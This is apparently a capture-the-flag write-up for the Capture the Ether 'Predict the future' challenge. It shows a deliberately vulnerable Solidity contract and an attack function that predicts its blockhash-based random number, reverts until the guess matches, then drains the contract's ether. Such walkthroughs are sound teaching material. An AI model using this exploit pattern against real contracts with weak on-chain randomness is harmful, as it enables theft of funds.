05.Predict the future
2023-06-23 20:22:15 # 01.Capturetheether CTF

Predict the future

topic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;

function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

analyse

This time the answer needs to be locked in first and can only be checked after a certain number of blocks have settled. However, the answer is only in the range of 0 to 9 because of the modulo 10 instruction:

1
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
  1. if someone locked the answer, the other can’t guess again until he checks the answer
  2. so we can locked the answer, and then check that whether the correct answer is the same as we locked or not. If it does, we call settle() and get money, otherwise we try again in the next block. No one can stop us to do this because we are alway the guesser until we call settle()
  3. So we should lock an answer to be the guesser, forecast the correct number and finally call settle() with the right number. u can use a loop to do this or forecast one by one.
  4. we use require to prevent the tx from continuing, so if the right number is not the same as we locked it would revert and return the ETH.

PS: because the correct number depends on block.blockhash(block.number - 1), it means it will get the right number depends on the previous block hash, so we could only try once in each block.

solution

  • assume that we lock the number “1”, of course u can select “0~9”
  • call attack() again an again until it calls successfully.

if u dont want to call it one by one, u can use loop logic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function attack() public {
// prevent the tx from continuing if the answer is not going to pass as correct
//this is the initial code in the website, it is out-of-date, so we use the newer code
//uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))) % 10;

require(answer == 1, "tx fail and waiting for the next block to try again");

// make the guess and check if the challenge is complete, otherwise revert
challenge.settle();
require(challenge.isComplete(), "challenge not complete yet");

// send funds to my address
(bool success,) = msg.sender.call{value:address(this).balance}("");
require(success, "call failed");
}